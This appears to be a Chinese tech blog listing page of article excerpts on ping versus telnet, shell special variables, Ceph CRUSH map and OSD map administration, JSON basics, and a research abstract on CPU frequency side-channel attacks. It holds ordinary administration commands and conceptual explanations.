Ping和Telnet有什么区别 ping 是ICMP协议，只包含控制信息没有端口；telnet是TCP协议,有端口能承载数据； 不能telnet并不代表不能ping, 这是两种不同的数据包， 防火墙可以设置哪种数据包可以通过； 能telnet通，但是不能ping通，有可能是对方主机关闭了ping回显或者是对方防火墙阻止了ping发送的数据包； 如果别人不能telnet本机,最简单的测试办法是:telnet 127.0.0.1 如果失败说明本机的telnet服务没有开启，如果成功说明本机防火墙做了限制； Ping和Telnet的界面 下边这张图是使用了ping和telnet两个命令的效果图，可以看出使用ping更多返回的是对方机器的数据包，延时这类信息。 而使用telnet则是尝试远程连接对方的服务，所以两者其实还是有很明显的本质区别。 小结 ping是icmp探查消息，用于确定两个ip端点的网络层导通性。 telnet是一种远程登录软件工具，是运行在tcp层，使用23端口。 一般计算机部署的时候都会关闭掉telnet端口，以保证安全性，如果真的需要进行远程连接的话，建议使用ssh的方式去访问。 ...

在Shell脚本中，$符号有多种含义，它通常用于表示变量、特殊变量或参数，今天介绍几个特殊的变量。 $0表示shell脚本文件本身 $1 ~ $n脚本的位置参数，表示脚本或函数的参数。例如，$1表示第一个参数，$2表示第二个参数，依此类推 $#传递给脚本或函数的参数个数 $@传递给脚本或函数的所有参数的列表，每个参数是一个独立的单词 $?表示上一个命令的退出状态，如果为0表示成功，非零值表示失败 $$表示当前脚本或进程的进程ID $!表示后台运行的最后一个进程的进程ID $*表示所有传递给脚本的参数列表（位置参数），并将它们作为一个单词显示 $-用于显示当前Shell的选项设置 当运行 echo $- 时，它会输出一个包含不同字母的字符串 # echo $- himBH 每个字母的含义如下： h: 启用hash命令功能，用于记住命令的路径，以加快命令的查找速度。 i: 启用Shell的交互模式。 m: 启用作业控制的多用户模式。 B: 启用通知作业完成状态的功能。 H: 启用Shell历史功能。 因此，himBH 表示这个Shell当前启用了 hash、交互模式、多用户模式、作业状态通知和历史功能。 这些选项可以根据脚本或Shell的需要进行配置 注意：$* 和 $@ 在大多数情况下表现相似，但在处理引号时有一些关键的区别。 [root@localhost]# cat b.sh && bash b.sh # 使用 "$*" 和 "$@" set -- "arg1" "arg2 with space" "arg3" echo 'Using "$*"' for arg in "$*"; do echo $arg done echo 'Using "$@"' for arg in "$@"; do echo $arg done Using "$*" arg1 arg2 with space arg3 Using "$@" arg1 arg2 with space arg3 在"$*"中，所有参数被当作单个字符串，参数之间用第一个字符（默认是空格）分隔。而在"$@"中，每个参数都被当作独立的字符串。 在实际使用中，如果希望参数原封不动的传递出去，可能更适合使用"$@"，它以类似数组的方式表示传递给脚本的所有参数。 ...

点击围观  ...

管理和定制CRUSH Map CRUSH和目标放置策略 Ceph 通过一种称为 CRUSH(可伸缩哈希下的受控复制)的放置算法来计算哪些osd应该持有哪些对象，对象被分配到放置组(pg)， CRUSH 决定这些 放置组 应该使用哪个 osd来存储它们的对象,即 crush 决定了 pg 到 osd 的映射关系。 CRUSH的算法 CRUSH算法 使 Ceph客户端能够直接与 osd通信，这避免了集中式服务瓶颈，Ceph客户端和 osd使用CRUSH 算法高效地计算对象位置的信息，而不是依赖于一个中央查找表。 Ceph 客户端检索集群映射，并使用 CRUSH Map 从算法上确定如何存储和检索数据，通过避免单点故障和性能瓶颈，这为Ceph 集群提供了大规模的可伸缩性 CRUSH算法 的作用是将 数据统一分布在对象存储中，管理复制，并响应系统增长和硬件故障，当 新增OSD或已有OSD或OSD主机故障 时，Ceph通过CRUSH在主OSD间实现集群对象的再平衡 CRUSH Map 组件 从概念上讲，一个CRUSH map包含两个主要组件： CRUSH层次结构 这将列出所有可用的 osd，并将它们组织成树状的桶结构 CRUSH层次结构通常用来表示osd的位置，默认情况下，有一个root桶代表整个层次结构，其中包含每个OSD主机的一个主机桶 [root@clienta ~]# ceph osd tree ID CLASS WEIGHT TYPE NAME STATUS REWEIGHT PRI-AFF -1 0.09796 root default -3 0.03918 host serverc 0 hdd 0.00980 osd.0 up 1.00000 1.00000 1 hdd 0.00980 osd.1 up 1.00000 1.00000 2 hdd 0.00980 osd.2 up 1.00000 1.00000 9 hdd 0.00980 osd.9 up 1.00000 1.00000 -5 0.02939 host serverd 3 hdd 0.00980 osd.3 up 1.00000 1.00000 4 hdd 0.00980 osd.4 up 1.00000 1.00000 5 hdd 0.00980 osd.5 up 1.00000 1.00000 -7 0.02939 host servere 6 hdd 0.00980 osd.6 up 1.00000 1.00000 7 hdd 0.00980 osd.7 up 1.00000 1.00000 8 hdd 0.00980 osd.8 up 1.00000 1.00000 OSD是树的叶子节点，默认情况下，同一个OSD主机上的所有OSD都放在该主机的桶中，可以自定义树状结构，重新排列，增加层次，将OSD主机分组到不同的桶中，表示其在不同的服务器机架或数据中心的位置 至少有一条CRUSH规则 CRUSH 规则决定了如何从这些桶中分配放置组的osd，这决定了这些放置组的对象的存储位置。不同的池可能会使用不同的CRUSH规则 CRUSH  桶类型 CRUSH 层次结构将 osd 组织成一个由不同容器组成的树，称为桶。对于大型安装，可以创建特定的层次结构来描述存储基础设施：数据中心、机架、主机和OSD设备。 通过创建一个CRUSH map规则，可以使 Ceph 将一个对象的副本放在独立服务器上的osd上，放在不同机架的服务器上，甚至放在不同数据中心的服务器上 总而言之，桶是 CRUSH层次结构中的容器或分支。osd设备是CRUSH等级中的叶子 一些最重要的桶属性有: 桶ID，这些id为负数，以便与存储设备的id区分开来 桶的名称 桶的类型，默认映射定义了几种类型，可以使用ceph osd crush dump命令检索这些类型 [root@clienta ~]# ceph osd crush dump | grep type_name "type_name": "root", "type_name": "root", "type_name": "host", "type_name": "host", "type_name": "host", "type_name": "host", "type_name": "host", "type_name": "host", 桶类型包括root、region、datacenter、room、pod、pdu、row、rack、chassis和host，但你也可以添加自己的类型、位于层次结构根的桶属于根类型 Ceph 在将 PG 副本映射到 osd 时选择桶内物品的算法。有几种算法可用:uniform、list、tree和straw2。每种算法都代表了性能和重组效率之间的权衡。缺省算法为straw2 Uniform（均等分配）：Uniform 算法简单地将数据均匀地分配给存储集群中的 OSD（Object Storage Device）。优点是实现简单，能够提供基本的负载均衡效果。然而，它无法考虑 OSD 的实际负载情况，可能导致一些 OSD 负载过高而其他 OSD 负载较轻。 List（列表调度）：List 算法根据预定义的 OSD 列表顺序来分配数据。优点是可以根据需求灵活地配置 OSD 列表，适用于特定的负载均衡需求。然而，如果 OSD 列表中的 OSD 负载不均匀，可能导致一些 OSD 过载而其他 OSD 闲置。 Tree（树状调度）：Tree 算法使用树状结构来分配数据，将数据在多个层级的 OSD 中进行选择。优点是可以根据 OSD 的性能和负载情况进行智能调度，将数据分配给性能较好的 OSD。然而，实现相对复杂，需要维护和调整树状结构，适用于较大规模的负载均衡场景。 Straw2（稻草算法）：Straw2 算法考虑了 OSD 的负载和权重指标，并根据这些指标计算出一个权重值，然后根据权重值来分配数据。优点是可以根据 OSD 的实时负载情况进行智能调度，将数据分配给负载较轻的 OSD。然而，计算权重值需要一定的计算资源，且可能导致数据在短时间内频繁迁移。 自定义故障和性能域 CRUSH 映射是 CRUSH算法 的 中心配置机制，可以编辑此 map 以影响数据放置并自定义CRUSH算法 配置 CRUSH 映射和创建单独的 故障域 允许 osd 和集群节点发生故障，而不会发生任何数据丢失。在问题解决之前，集群只是以降级状态运行 配置 CRUSH Map并创建单独的性能域可以减少使用集群存储和检索数据的客户机和应用程序的性能瓶颈。 定制  CRUSH Map 的典型用例 针对 硬件故障 提供额外的保护。可以配置 CRUSH Map 以匹配底层物理基础设施，这有助于减轻硬件故障的影响 默认情况下，CRUSH算法将复制的对象放置在不同主机上的osd上。可以定制CRUSH map，这样对象副本就可以跨osd放置在不同的架子上，或者放置在不同房间的主机上，或者放置在具有不同电源的不同架子上 将带有 SSD驱动器的 osd  分配给需要快速存储的应用程序使用的池，而将带有传统hdd的osd分配给支持要求较低的工作负载的池 CRUSH map可以包含多个层次结构，你可以通过不同的CRUSH规则进行选择。通过使用单独的 CRUSH 层次结构，可以建立单独的性能域。例如，CRUSH 可以为 hdd 创建一个层次结构，为 ssd 创建另一个层次结构 配置单独性能域的用例示例如下： 分离虚拟机使用的块存储和应用使用的对象存储 将包含不经常访问的数据的“冷”存储区与包含经常访问的数据的“热”存储区分开 一个实际的CRUSH map定义，它包含： 所有可用物理存储设备的列表 所有基础设施桶的列表，以及每个桶中存储设备或其他桶的id。请记住，bucket是基础结构树中的容器或分支，例如，它可能表示一个位置或一块物理硬件 将pg映射到osd的CRUSH规则列表 其他CRUSH可调参数及其设置的列表 集群安装过程部署一个默认的CRUSH映射，可以使用ceph osd crush dump命令打印JSON格式的crush map。你也可以导出映射的二进制副本，并将其反编译为文本文件: [ceph: root@node /]# ceph osd getcrushmap -o ./map.bin [ceph: root@node /]# crushtool -d ./map.bin -o ./map.txt 自定义OSD CRUSH设置 CRUSH Map包含集群中所有存储设备的列表。对于每台存储设备，已获取如下信息: 存储设备的ID 存储设备的名称 存储设备的权重，通常以tb为单位。 例如，4tb的存储设备重量约为4.0。这是设备可以存储的相对数据量，CRUSH算法使用这一数据来帮助确保对象的均匀分布 host serverc { id -3 # do not change unnecessarily id -4 class hdd # do not change unnecessarily # weight 0.039 alg straw2 hash 0 # rjenkins1 item osd.0 weight 0.010 item osd.1 weight 0.010 item osd.2 weight 0.010 item osd.9 weight 0.010 } 可以通过ceph osd crush reweight命令设置OSD的权重。CRUSH的树桶权重应该等于它们的叶子权重的总和。 如果手动编辑 CRUSH Map权重，那么应该执行以下命令来确保CRUSH树桶的权重准确地反映了桶内叶片osd的总和 [ceph: root@node /)# ceph osd crush reweight-all reweighted crush hierarchy 存储设备的类别，存储集群支持多种存储设备，如hdd、ssd、NVMe ssd等。 存储设备的类反映了这些信息，可以使用这些信息创建针对不同应用程序工作负载优化的池。osd自动检测和设置它们的设备类。ceph osd crush set-device-class命令用于显式设置OSD的设备类。 使用ceph osd crush rm device-class 从 osd 中删除一个设备类 ceph osd crush tree命令显示crush map当前的层级： [ceph: root@clienta /]# ceph osd crush tree ID CLASS WEIGHT TYPE NAME -1 0.08817 root default -3 0.02939 host serverc 0 hdd 0.00980 osd.0 1 hdd 0.00980 osd.1 2 hdd 0.00980 osd.2 。 -5 0.02939 host serverd 3 hdd 0.00980 osd.3 5 hdd 0.00980 osd.5 7 hdd 0.00980 osd.7 -7 0.02939 host servere 4 hdd 0.00980 osd.4 6 hdd 0.00980 osd.6 8 hdd 0.00980 osd.8 设备类是通过为每个正在使用的设备类创建一个“影子”CRUSH层次结构来实现的，它只包含该类设备。 然后，CRUSH规则可以在影子层次结构上分发数据。 你可以使用ceph osd crush tree –show-shadow命令查看带有影子的crush 层级` [ceph: root@serverc /]# ceph osd crush tree --show-shadow ID CLASS WEIGHT TYPE NAME -2 hdd 0.09796 root default~hdd -4 hdd 0.03918 host serverc~hdd 0 hdd 0.00980 osd.0 1 hdd 0.00980 osd.1 2 hdd 0.00980 osd.2 9 hdd 0.00980 osd.9 -6 hdd 0.02939 host serverd~hdd 3 hdd 0.00980 osd.3 4 hdd 0.00980 osd.4 5 hdd 0.00980 osd.5 -8 hdd 0.02939 host servere~hdd 6 hdd 0.00980 osd.6 7 hdd 0.00980 osd.7 8 hdd 0.00980 osd.8 使用ceph osd crush class create 命令创建一个新的设备类 使用ceph osd crush class rm 命令删除一个设备类 使用ceph osd crush class ls 命令列出已配置的设备类 [ceph: root@serverc /]# ceph osd crush class ls [ "hdd" ] [ceph: root@serverc /]# ceph osd crush class create ssd created class ssd with id 1 to crush map [ceph: root@serverc /]# ceph osd crush class ls [ "hdd", "ssd" ] [ceph: root@serverc /]# ceph osd crush class rm ssd removed class ssd with id 1 from crush map [ceph: root@serverc /]# ceph osd crush class ls [ "hdd" ] 使用CRUSH规则 CRUSH map还包含数据放置规则，决定如何将pg映射到osd，以存储对象副本或 erasure coded块 ceph osd crush rule ls命令在已有的规则基础上，打印规则详细信息。 ceph osd crush rule dump rule_name命令打印规则详细信息， [ceph: root@serverc /]# ceph osd crush rule ls replicated_rule ecpool [ceph: root@serverc /]# ceph osd crush rule dump ecpool { "rule_id": 1, "rule_name": "ecpool", "ruleset": 1, "type": 3, "min_size": 3, "max_size": 5, "steps": [ { "op": "set_chooseleaf_tries", "num": 5 }, { "op": "set_choose_tries", "num": 100 }, { "op": "take", "item": -1, "item_name": "default" }, { "op": "choose_indep", "num": 0, "type": "osd" }, { "op": "emit" } ] } 编译后的CRUSH map也包含规则，可能更容易阅读: [ceph: root@node /]# ceph osd getcrushmap -o . /map.bin [ceph: root@node /]# crushtool -d . /map.bin -o . /map.txt [ceph: root@node /]# cat . /map.txt . . . output omitted ... rule replicated_rule { AA id 0 BB } type replicated min_size 1 CC max_size 10 DD step take default EE step chooseleaf firstn 0 type host FF step emit GG . . . output omitted ... AA 规则的名称。使用 ceph osd pool create 命令创建池时，使用此名称来选择规则 BB 规则ID。有些命令使用规则ID而不是规则名称。例如ceph osd pool set pool-name rush_ruleset ID，为已存在的池设置规则时使用规则ID CC 如果一个池的副本数少于这个数字，那么CRUSH不选择此规则 DD 如果一个存储池的副本数超过这个数字，那么CRUSH不选择此规则 EE 接受一个桶名，并开始沿着树进行迭代。在本例中，迭代从名为default的桶开始，它是缺省CRUSH层次结构的根。对于由多个数据中心组成的复杂层次结构，可以为数据创建规则，用于强制将特定池中的对象存储在该数据中心的osd中。在这种情况下，这个步骤可以从数据中心桶开始迭代 FF 选择给定类型(host)的桶集合，并从该集合中每个桶的子树中选择一个叶子(OSD)。本例中，规则从集合中的每个主机桶中选择一个OSD，确保这些OSD来自不同的主机。 支持的类型 # types type 0 osd type 1 host type 2 chassis type 3 rack type 4 row type 5 pdu type 6 pod type 7 room type 8 datacenter type 9 zone type 10 region type 11 root 集合中桶的数量通常与池中的副本数量(池大小)相同: 如果firstn后面的数字为0，则根据池中有多少副本选择多少桶 如果桶的数量大于零，且小于池中的副本数量，则选择相同数量的桶。在这种情况下，规则需要另一个步骤来为剩余的副本绘制桶。可以使用这种机制强制指定对象副本子集的位置 如果这个数字小于零，那么从副本数量中减去它的绝对值，然后选择这个数量的桶 GG 输出规则的结果 例如，可以创建以下规则来在不同的机架上选择尽可能多的osd，但只能从DC1数据中心: rule myrackruleinDC1 { id 2 type replicated min_size 1 max_size 10 step take DC1 step chooseleaf firstn 0 type rack step emit } 使用CRUSH可调参数 还可以使用可调参数修改CRUSH算法的行为。可调项可以调整、禁用或启用CRUSH算法的特性。 Ceph在反编译的 CRUSH Map的开始部分定义了可调参数，你可以使用下面的命令获取它们的当前值: [ceph: root@clienta /]# ceph osd crush show-tunables { "choose_local_tries": 0, "choose_local_fallback_tries": 0, "choose_total_tries": 50, "chooseleaf_descend_once": 1, "chooseleaf_vary_r": 1, "chooseleaf_stable": 1, "straw_calc_version": 1, "allowed_bucket_algs": 54, "profile": "jewel", "optimal_tunables": 1, "legacy_tunables": 0, "minimum_required_version": "jewel", "require_feature_tunables": 1, "require_feature_tunables2": 1, "has_v2_rules": 0, "require_feature_tunables3": 1, "has_v3_rules": 0, "has_v4_buckets": 1, "require_feature_tunables5": 1, "has_v5_rules": 0 } 调整CRUSH可调项可能会改变CRUSH将放置组映射到osd的方式。当这种情况发生时，集群需要将对象移动到集群中的不同osd，以反映重新计算的映射。在此过程中，集群性能可能会下降。 可以使用ceph osd crush tunables profile 命令选择一个预定义的配置文件，而不是修改单个可调项。 [ceph: root@serverc /]# ceph osd crush tunables profile Invalid command: profile not in legacy|argonaut|bobtail|firefly|hammer|jewel|optimal|default osd crush tunables legacy|argonaut|bobtail|firefly|hammer|jewel|optimal|default : set crush tunables values to <profile> Error EINVAL: invalid command [ceph: root@serverc /]# [ceph: root@serverc /]# ceph osd crush tunables optimal adjusted tunables profile to optimal 将配置文件的值设置为optimal，以启用Red Hat Ceph Storage当前版本的最佳(最优)值。 CRUSH Map 管理 集群保持一个编译后的CRUSH map的二进制表示。你可以通过以下方式修改它: 使用ceph osd crush命令 提取二进制 CRUSH Map并将其编译为纯文本，编辑文本文件，将其重新编译为二进制格式，然后将其导入到集群中 通常使用ceph osd crush命令更新CRUSH Map会更容易。但是，还有一些不太常见的场景只能通过使用第二种方法来实现。 使用Ceph命令定制CRUSH Map 下面的例子创建了一个新的桶: [ceph: root@node /]# ceph osd crush add-bucket name type 例如，这些命令创建三个新桶，一个是数据中心类型，两个是机架类型: [ceph: root@node /)# ceph osd crush add-bucket DC1 datacenter added bucket DCl type datacenter to crush map [ceph: root@node /)# ceph osd crush add-bucket rackA1 rack added bucket rackAl type rack to crush map [ceph: root@node /)# ceph osd crush add-bucket rackB1 rack added bucket rackBl type rack to crush map 然后，可以使用以下命令以层次结构组织新桶 [ceph: root@node /]# ceph osd crush move name type=parent 还可以使用此命令重新组织树。例如，将上例中的两个机架桶挂载到数据中心桶上，将数据中心桶挂载到默认的根桶上 [ceph: root@node /]# ceph osd crush move rackA1 datacenter=DC1 moved item id -10 name ' rackA1' to location {datacenter=DCl} in crush map [ceph: root@node /]# ceph osd crush move rackB1 datacenter=DC1 moved item id -11 name ' rackB1' to location {datacenter=DC1} in crush map [ceph: root@node /)# ceph osd crush move DC1 root=default moved item id -9 name ' DC1' to location {root=default} in crush map ID CLASS WEIGHT TYPE NAME -1 0.09796 root default -9 0 datacenter DC1 -10 0 rack rackA1 -11 0 rack rackB1 -3 0.03918 host serverc 0 hdd 0.00980 osd.0 1 hdd 0.00980 osd.1 2 hdd 0.00980 osd.2 9 hdd 0.00980 osd.9 -5 0.02939 host serverd 3 hdd 0.00980 osd.3 4 hdd 0.00980 osd.4 5 hdd 0.00980 osd.5 -7 0.02939 host servere 6 hdd 0.00980 osd.6 7 hdd 0.00980 osd.7 8 hdd 0.00980 osd.8 设置 osd 位置 在创建了自定义桶层次结构之后，将 osd 作为该树的叶子放置。每个 OSD 都有一个位置，它是一个字符串，定义从树的根到该OSD的完整路径。 例如，挂在 rackA1 桶上的 OSD 的位置为: root=default datacenter=DC1 rack=rackA1 当Ceph启动时，它使用ceph-crush-location工具来自动验证每个OSD都在正确的CRUSH位置。 如果OSD不在CRUSH Map中预期的位置，它将被自动移动。默认情况下，这是root=default host=hostname。 可以用自己的脚本替换ceph-crush-location实用程序，以更改osd在CRUSH Map中的位置。 为此，在/etc/ceph/ceph.conf中指定crush_ location_hook参数 [osd] crush_location_hook = /path/to/your/script Ceph使用以下参数执行该脚本: --cluster cluster-name --id osd-id --type osd。 脚本必须在其标准输出中以一行的形式打印位置。Ceph文档有一个自定义脚本示例，该脚本假设每个系统都有一个名为/etc/rack的包含所在机架名称的机架文件: #! /bin/sh echo "root=default rack=$(cat /etc/rack) host=$(hostname -s)" 特定osd的位置定义 可以在/etc/ceph/ceph.conf中设置crush_location参数。重新定义特定osd的位置。 例如，设置osd.0和osd.1，在文件中各自的部分中添加crush_ location参数: [osd.0] crush_location = root=default datacenter=DC1 rack=rackA1 [osd.1] crush_location = root=default datacenter=DC1 rack=rackB1 添加CRUSH Map规则 复制池 创建了一个Ceph可以用于复制池的规则: [ceph: root@node /]# ceph osd crush rule create-replicated name \ root failure-domain-type [class] 其中: Name 为规则的名称 root 是CRUSH Map层次结构中的起始节点 failure-domain-type 是用于复制的桶类型 类是要使用的设备的类，例如SSD或hdd。可选参数 下面的示例创建新的inDC2规则来在DC2数据中心存储副本，将副本分发到各个机架: [ceph: root@node /]# ceph osd crush rule create-replicated inDC2 DC2 rack [ceph: root@node /]# ceph osd crush rule ls replicated_rule erasure-code inDC2 定义规则后，在创建复制池时使用它: [ceph: root@node /]# ceph osd pool create myfirstpool 50 50 inDC2 pool 'myfirstpool' created 纠删码池 对于erasure code，Ceph自动为您创建的每个erasure code池创建规则。规则的名称为新池的名称。 Ceph使用您在创建池时指定的erasure code配置文件中定义的规则参数 下面的例子首先创建新的myprofile erasure code配置文件，然后基于这个配置文件创建myecpool池: [ceph: root@node /]# ceph osd erasure-code-profile set myprofile \ k=2 m=1 crush-root=DC2 crush-failture-domain=rack crush-device-class=ssd [ceph: root@node /)# ceph osd pool create myecpool 50 50 erasure myprofile [ceph: root@node /]# ceph osd crush rule ls 通过编译二进制版本自定义CRUSH Map 你可以用以下命令来反编译和手动编辑CRUSH Map: ceph osd getcrushmap和ceph osd setcrushmap命令提供了一种备份和恢复集群CRUSH Map的有效方法 优化放置组PG 放置组(pg)允许集群通过将对象聚合到组中以可伸缩的方式存储数百万个对象。根据对象的ID、池的ID和池中放置组的数量将对象组织成放置组。 在集群生命周期中，pg个数需要根据集群布局的变化进行调整 CRUSH 试图确保对象在池中osd之间的均匀分布，但也存在pg变得不平衡的情况。 放置组自动缩放器可用于优化PG分发，并在默认情况下打开。如果需要，还可以手动设置每个池的pg数量 对象通常是均匀分布的，前提是池中比osd多一个或两个数量级(十个因子)的放置组。 如果没有足够的pg，那么对象的分布可能会不均匀。 如果池中存储了少量非常大的对象，那么对象分布可能会变得不平衡 配置pg，以便有足够的对象在集群中均匀分布。如果 pg的数量设置过高，则会显著增加CPU和内存的使用。Red Hat建议每个OSD大约100到200个放置组来平衡这些因素 计算放置组的数量 对于单个池的集群，可以使用以下公式，每个OSD 100个放置组 Total PGs = (OSDs * 100)/Number of replicas Red Hat推荐使用每个池计算Ceph放置组，https://access.redhat.com/labs/cephpgc/manual/ 手动映射PG 使用 ceph osd pg-upmap-iterns 命令手动将pg映射到指定的osd，因为以前的Ceph客户端不支持，所以必须配置ceph osd set-require-min-compat-client启用pg-upmap命令 [ceph: root@node /]# ceph osd set-require-min-compat-client luminous 下面的例子将PG 3.25从ODs 2和0映射到1和0: [ceph: root@node /]# ceph pg map 3.25 osdmap e384 pg 3.25 (3.25) -> up [2,0) acting [2,0) [ceph: root@node /]# ceph osd pg-upmap-items 3.25 2 1 set 3.25 pg_ upmap items mapping to [2->1) [ceph: root@node /]# ceph pg map 3.25 osdmap e387 pg 3.25 (3.25) •> up [1,0) acting [1,0) 以这种方式重新映射数百个pg是不现实的 osdmaptool 命令在这里很有用，它获取一个池的实际 Map，分析它，并生成ceph osd pg-upmap-items命令来运行一个最优分布: 将映射导出到一个文件，下面的命令将映射保存到./om文件: [ceph: root@node /]# ceph osd getmap -o ./om got osdmap epoch 387 使用osdmaptool命令的--test-map-pgs选项显示pg的实际分布。打印ID为3的池的分布信息: [ceph: root@node /]# osdmaptool ./om --test-map-pgs --pool 3 osdmaptool: osdmap file './om' pool 3 pg_num 50 #osd count first primary c wt wt osd.0 34 19 19 0.0184937 1 osd.1 39 14 14 0.0184937 1 osd.2 27 17 17 0.0184937 1 ... output omitted . .. 输出显示了osd.2只有27个PG而osd.1有39 PG 生成重新平衡pg的命令。 使用osdmaptool命令的--upmap选项将命令存储在一个文件中: [ceph: root@node /]# osdmaptool ./om --upmap ./cmds.txt --pool 3 osdmaptool: osdmap file './om' writing upmap command output to: ./cmds.txt checking for upmap cleanups upmap, max-count 100, max deviation 0.01 [ceph: root@node /]# cat ./cmds.txt ceph osd pg-upmap-items 3.1 0 2 ceph osd pg-upmap-items 3.3 1 2 ceph osd pg-upmap-items 3.6 0 2 ... output omitted ... 执行命令: [ceph: root@node /]# bash ./cmds.txt set 3.1 pg upmap items mapping to [0->2] set 3.3 pg upmap_items mapping to [1->2] set 3.6 pg_upmap_items mapping to [0->2] ... output omitted ... 2管理OSD Map 描述OSD Map 集群OSD map包含每个OSD的地址、状态、池列表和详细信息，以及OSD的接近容量限制信息等。Ceph使用这些最后的参数来发送警告，并在OSD达到满容量时停止接受写请求 当集群的基础设施发生变化时，比如 osd 加入或离开集群，MONs 会相应地更新相应的映射。Mons保持着map修订的历史。 Ceph使用一组被称为epoch的有序增量整数来标识每个map的每个版本 ceph status -f json-pretty 命令显示每个 map 的 epoch。使用ceph map dump子命令显示每个单独的映射，例如 ceph osd dump [ceph: root@clienta /]# ceph status -f json-pretty { "fsid": "2ae6d05a-229a-11ec-925e-52540000fa0c", "health": { "status": "HEALTH_OK", "checks": {}, "mutes": [] }, "election_epoch": 48, "quorum": [ 0, 1, 2, 3 ], "quorum_names": [ "serverc.lab.example.com", "clienta", "serverd", "servere" ], "quorum_age": 1961, "monmap": { "epoch": 4, "min_mon_release_name": "pacific", "num_mons": 4 分析OSD Map更新 每当有 OSD 加入或离开集群时，Ceph 都会更新 OSD 的map。一个OSD可以因为OSD故障或硬件故障而离开 Ceph 集群 虽然整个集群的分布式映射（map）由监控器（MONs）来维护，但是对象存储设备（OSD）并不使用监控器的领导者（leader）来管理存储器的映射。 相反，OSD之间会直接交换它们所持有的映射，并且每次交换都会标记(epoch)出来。当一个 OSD 检测到自己的运行速度落后时，会触发对其对等 OSD 执行映射的更新，以确保所有的 OSD 都具有最新的映射信息。 在大的集群中，OSD map更新频繁，所以总是分发完整的map是不现实的。相反,接收 OSD 的节点执行增量映射更新 Ceph 还将 osd 和客户端之间的消息标记为epoch。每当客户端连接到OSD时，OSD就会检查 epoch。 如果 epoch 不匹配，那么OSD将响应正确的增量，以便客户机可以更新其OSD映射。这就不需要主动传播，因为客户端只有在下一次联系时才会了解更新后的映射 使用Paxos更新集群Map 要访问Ceph集群，客户机首先要从MONs获取集群映射的副本。为了使集群正常运行，所有的MONs必须具有相同的集群映射。 MONs使用Paxos算法作为一种机制来确保它们对集群状态达成一致。Paxos是一种分布式共识算法。 每当MON修改map时，它就通过Paxos将更新发送给其他监视器。Ceph只有在大多数监控器都同意更新后才会提交新版本的map。 MON向Paxos提交map更新，只有在Paxos确认更新后才将新版本写入本地键值存储。读操作直接访问键值存储。 OSD Map 传播 osd 定期向监控器报告其状态。此外，OSD还可以通过交换心跳来检测对等体的故障，并将故障报告给监视器。 当leader监视器得知OSD出现故障时，它会更新Map，增加epoch，并使用 Paxos 更新协议通知其他监视器，同时撤销它们的租约。 在大多数监控器确认更新后，集群有了仲裁，leader 监控器发出新的租约，以便监控器可以分发更新的OSD映射。 OSD Map命令管理员使用以下命令管理 OSD Map: 命令 动作 ceph osd dump 将OSD映射转储到标准输出 ceph osd getmap -o binfile 导出当前映射的二进制副本 osdmaptool --print binfile 在标准输出中显示人类可读的映射副本 osdmaptool --export-crush crushbinfile binfile 从OSD map 中提取CRUSH map osdmaptool --import-crush crushbinfile binfile 嵌入一个新的CRUSH map osdmaptool --test-map-pg pgid binfile 验证给定PG的映射 ...

Json介绍 Json（JavaScript Object Notation）是一种轻量级的数据交换格式，常用于前后端数据传输和存储。 它使用简洁的文本格式来表示结构化的数据，易于阅读和编写，并且可以被多种编程语言解析和生成。 Json的基本语法包括键值对（key-value pairs）和数据类型。 键值对由一个键（key）和一个值（value）组成，中间用冒号（:）分隔。 多个键值对之间用逗号（,）分隔。值可以是字符串、数字、布尔值、数组、对象或null。 以下是一个Json对象的示例： { "name": "Raysen", "age": 27, "isStudent": true, "hobbies": ["唱", "RAP", "篮球"], "address": { "street": "23号大街", "city": "杭州", "country": "China" }, "favoriteFruit": null } 键值对的键是字符串，值可以是字符串（如”name”和”Raysen”）、数字（如”age”和30）、布尔值（如”isStudent”和true）、数组（如”hobbies”）或对象（如”address”）。键值对之间用逗号分隔，整个Json对象用花括号括起来。 Json的优点包括易于理解和编写、数据结构清晰、可读性强、支持多种编程语言等。它广泛应用于Web开发、API接口设计、配置文件等场景。 Json格式弊端 缺乏类型信息：Json格式的数据没有明确的类型信息，只能通过字段名来推断数据类型。这导致在处理复杂数据结构时，需要额外的逻辑来解析和处理数据。 不支持注释：Json格式不支持注释，这使得在复杂的数据结构中添加注释变得困难。注释对于代码的可读性和维护性非常重要，但在Json中无法直接添加注释。 不支持多行字符串：Json格式中的字符串必须在一行内表示，不支持多行字符串。这在处理较长的文本或包含换行符的字符串时，会导致可读性下降。 不支持原生日期类型：Json格式没有原生的日期类型，日期通常以字符串的形式表示。这使得在处理日期相关的操作时，需要额外的转换和处理。 不支持引用和循环引用：Json格式不支持引用其他对象或循环引用。这在处理复杂的数据关系时，可能会导致数据冗余和难以维护。 Json格式在一般的数据交换和存储场景中表现良好，但在处理复杂数据结构和需要更多元信息的情况下，存在一些不足之处。 Json弊端优化方案 使用压缩算法：可以使用压缩算法对Json格式进行压缩，减小数据的存储空间占用。 使用二进制格式：可以将Json格式转换为二进制格式，减少数据的存储空间和传输带宽。 使用Schema验证：可以使用Schema验证Json数据的结构和类型，提高数据的可靠性和可读性。 使用更紧凑的数据格式：可以考虑使用其他更紧凑的数据格式，如MessagePack、Protocol Buffers等，减小数据的存储空间和传输带宽。 ...

电源侧信道攻击利用CPU功耗的数据相关变化来泄露机密信息。本文展示了在现代英特尔（和AMD）x86 CPU上，可以将电源侧信道攻击转化为时序攻击，而无需访问任何功耗测量接口，这源自于动态电压和频率调整（DVFS, Dynamic Voltage & Frequency Scaling）。在某些情况下，DVFS引起的CPU频率变化取决于毫秒级的当前功耗。这些变化可以被远程攻击者观察到，因为频率差异会转化为绝对时间差异。频率侧信道从理论上来说比当今密码工程实践中考虑的软件侧信道更强，但由于其粗粒度导致很难被利用。然而，现在这一新信道对密码软件的安全构成了真正威胁。本研究首先对现代x86 CPU上的数据、功耗和频率之间的依赖关系进行了逆向工程，发现了一些细微差别，例如一个字中设置位的位置可以通过频率变化来区分。其次提出了一种针对（恒定时间实现）SIKE的新型选择密文攻击，通过远程时序将单个密钥位的猜测放大为成千上万次高功耗或低功耗操作，从而允许通过远程时序进行完整密钥提取。0x01 